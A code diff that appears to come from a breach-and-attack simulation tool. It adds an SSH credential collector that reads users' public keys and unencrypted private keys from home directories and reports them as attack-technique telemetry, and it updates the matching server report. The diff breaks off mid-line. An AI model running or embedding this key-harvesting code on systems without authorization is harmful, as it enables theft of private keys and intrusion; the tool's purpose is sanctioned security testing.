diff --git a/monkey/infection_monkey/credential_collectors/__init__.py b/monkey/infection_monkey/credential_collectors/__init__.py index a9d22a4c4..a5d48e466 100644 --- a/monkey/infection_monkey/credential_collectors/__init__.py +++ b/monkey/infection_monkey/credential_collectors/__init__.py @@ -2,4 +2,5 @@ from .credential_components.nt_hash import NTHash from .credential_components.lm_hash import LMHash from .credential_components.password import Password from .credential_components.username import Username +from .credential_components.ssh_keypair import SSHKeypair from .mimikatz_collector import MimikatzCredentialCollector diff --git a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py new file mode 100644 index 000000000..c5f377c44 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py @@ -0,0 +1,10 @@ +from dataclasses import dataclass, field + +from infection_monkey.i_puppet import CredentialType, ICredentialComponent + + +@dataclass(frozen=True) +class SSHKeypair(ICredentialComponent): + credential_type: CredentialType = field(default=CredentialType.SSH_KEYPAIR, init=False) + private_key: str + public_key: str diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py b/monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py new file mode 100644 index 000000000..d89d836f8 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py @@ -0,0 +1 @@ +from .ssh_credential_collector import SSHCredentialCollector diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py new file mode 100644 index 000000000..ce64221fb --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py @@ -0,0 +1,53 @@ +import logging +from typing import Dict, Iterable, List + +from infection_monkey.credential_collectors import SSHKeypair, Username +from infection_monkey.credential_collectors.ssh_collector import ssh_handler +from infection_monkey.i_puppet.credential_collection import Credentials, ICredentialCollector +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger + +logger = logging.getLogger(__name__) + + +class SSHCredentialCollector(ICredentialCollector): + """ + SSH keys credential collector + """ + + def __init__(self, telemetry_messenger: ITelemetryMessenger): + self._telemetry_messenger = telemetry_messenger + + def collect_credentials(self, _options=None) -> List[Credentials]: + logger.info("Started scanning for SSH credentials") + ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger) + logger.info("Finished scanning for SSH credentials") + + return SSHCredentialCollector._to_credentials(ssh_info) + + @staticmethod + def _to_credentials(ssh_info: Iterable[Dict]) -> List[Credentials]: + ssh_credentials = [] + + for info in ssh_info: + identities = [] + secrets = [] + + if info.get("name", ""): + identities.append(Username(info["name"])) + + ssh_keypair = {} + for key in ["public_key", "private_key"]: + if info.get(key) is not None: + ssh_keypair[key] = info[key] + + if len(ssh_keypair): + secrets.append( + SSHKeypair( + ssh_keypair.get("private_key", ""), ssh_keypair.get("public_key", "") + ) + ) + + if identities != [] or secrets != []: + ssh_credentials.append(Credentials(identities, secrets)) + + return ssh_credentials diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py new file mode 100644 index 000000000..8c635d92b --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py @@ -0,0 +1,107 @@ +import glob +import logging +import os +import pwd +from typing import Dict, Iterable + +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1005_telem import T1005Telem +from infection_monkey.telemetry.attack.t1145_telem import T1145Telem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger + +logger = logging.getLogger(__name__) + +DEFAULT_DIRS = ["/.ssh/", "/"] + + +def get_ssh_info(telemetry_messenger: ITelemetryMessenger) -> Iterable[Dict]: + home_dirs = _get_home_dirs() + ssh_info = _get_ssh_files(home_dirs, telemetry_messenger) + + return ssh_info + + +def _get_home_dirs() -> Iterable[Dict]: + root_dir = _get_ssh_struct("root", "") + home_dirs = [ + _get_ssh_struct(x.pw_name, x.pw_dir) for x in pwd.getpwall() if x.pw_dir.startswith("/home") + ] + home_dirs.append(root_dir) + return home_dirs + + +def _get_ssh_struct(name: str, home_dir: str) -> Dict: + """ + Construct the SSH info. It consisted of: name, home_dir, + public_key and private_key. + + public_key: contents of *.pub file (public key) + private_key: contents of * file (private key) + + :param name: username of user, for whom the keys belong + :param home_dir: users home directory + :return: SSH info struct + """ + # TODO: There may be multiple public keys for a single user + # TODO: Authorized keys are missing. + return { + "name": name, + "home_dir": home_dir, + "public_key": None, + "private_key": None, + } + + +def _get_ssh_files( + usr_info: Iterable[Dict], telemetry_messenger: ITelemetryMessenger +) -> Iterable[Dict]: + for info in usr_info: + path = info["home_dir"] + for directory in DEFAULT_DIRS: + # TODO: Use PATH + if os.path.isdir(path + directory): + try: + current_path = path + directory + # Searching for public key + if glob.glob(os.path.join(current_path, "*.pub")): + # TODO: There may be multiple public keys for a single user + # Getting first file in current path with .pub extension(public key) + public = glob.glob(os.path.join(current_path, "*.pub"))[0] + logger.info("Found public key in %s" % public) + try: + with open(public) as f: + info["public_key"] = f.read() + # By default, private key has the same name as public, + # only without .pub + private = os.path.splitext(public)[0] + if os.path.exists(private): + try: + with open(private) as f: + # no use from ssh key if it's encrypted + private_key = f.read() + if private_key.find("ENCRYPTED") == -1: + info["private_key"] = private_key + logger.info("Found private key in %s" % private) + telemetry_messenger.send_telemetry( + T1005Telem( + ScanStatus.USED, "SSH key", "Path: %s" % private + ) + ) + telemetry_messenger.send_telemetry( + T1145Telem( + ScanStatus.USED, info["name"], info["home_dir"] + ) + ) + else: + continue + except (IOError, OSError): + pass + # If private key found don't search more + if info["private_key"]: + break + except (IOError, OSError): + pass + except OSError: + pass + usr_info = [info for info in usr_info if info["private_key"] or info["public_key"]] + return usr_info diff --git a/monkey/infection_monkey/i_puppet/credential_collection/credential_type.py b/monkey/infection_monkey/i_puppet/credential_collection/credential_type.py index 98e6c0097..ef00f3732 100644 --- a/monkey/infection_monkey/i_puppet/credential_collection/credential_type.py +++ b/monkey/infection_monkey/i_puppet/credential_collection/credential_type.py @@ -6,3 +6,4 @@ class CredentialType(Enum): PASSWORD = 2 NT_HASH = 3 LM_HASH = 4 + SSH_KEYPAIR = 5 diff --git a/monkey/infection_monkey/telemetry/attack/t1145_telem.py b/monkey/infection_monkey/telemetry/attack/t1145_telem.py new file mode 100644 index 000000000..55f41d6a0 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1145_telem.py @@ -0,0 +1,19 @@ +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + + +class T1145Telem(AttackTelem): + def __init__(self, status, name, home_dir): + """ + T1145 telemetry. + :param status: ScanStatus of technique + :param name: Username from which ssh keypair is taken + :param home_dir: Home directory where we found the ssh keypair + """ + super(T1145Telem, self).__init__("T1145", status) + self.name = name + self.home_dir = home_dir + + def get_data(self): + data = super(T1145Telem, self).get_data() + data.update({"name": self.name, "home_dir": self.home_dir}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py index ec22a19ef..6d99a768c 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py @@ -1,7 +1,11 @@ +import logging + from common.utils.attack_utils import ScanStatus from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique +logger = logging.getLogger(__name__) + class T1145(AttackTechnique): tech_id = "T1145" @@ -12,19 +16,39 @@ class T1145(AttackTechnique): # Gets data about ssh keys found query = [ + {"$match": {"telem_category": "attack", "data.technique": tech_id}}, { - "$match": { - "telem_category": "system_info", - "data.ssh_info": {"$elemMatch": {"private_key": {"$exists": True}}}, + "$lookup": { + "from": "monkey", + "localField": "monkey_guid", + "foreignField": "guid", + "as": "monkey", } }, { "$project": { - "_id": 0, - "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"}, - "ssh_info": "$data.ssh_info", + "monkey": {"$arrayElemAt": ["$monkey", 0]}, + "status": "$data.status", + "name": "$data.name", + "home_dir": "$data.home_dir", } }, + { + "$addFields": { + "_id": 0, + "machine": {"hostname": "$monkey.hostname", "ips": "$monkey.ip_addresses"}, + "monkey": 0, + } + }, + { + "$group": { + "_id": { + "machine": "$machine", + "ssh_info": {"name": "$name", "home_dir": "$home_dir"}, + } + } + }, + {"$replaceRoot": {"newRoot": "$_id"}}, ] @staticmethod diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js index 1bdd2a857..b8ba925e8 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js @@ -10,13 +10,13 @@ class T1145 extends React.Component { super(props); } - static renderSSHKeys(keys) { - let output = []; - keys.forEach(function (keyInfo) { - output.push(